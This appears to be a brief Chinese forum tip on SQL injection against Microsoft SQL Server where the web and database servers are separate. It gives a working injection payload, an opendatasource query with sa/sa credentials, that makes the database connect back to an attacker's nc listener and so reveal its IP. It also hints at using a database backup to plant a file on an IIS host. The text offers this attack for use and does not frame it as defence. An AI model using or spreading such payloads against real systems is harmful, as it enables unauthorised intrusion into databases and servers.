SQLinjection 的时候会遇到web与database分离的情况，这个时候如何获得数据库所在服务器的IP地址是至关重要的。
一个简单的方法，前提数据库可以连接Internet,nc本地监听一个端口，利用注入点执行:[code]SELECT * FROM opendatasource('sqloledb','data source=localip,port;user id=sa;password=sa').data.dbo.data[code] 查看NC的连接情况就OK了！
如果数据库开了IIS那就备份吧！GoodLuck!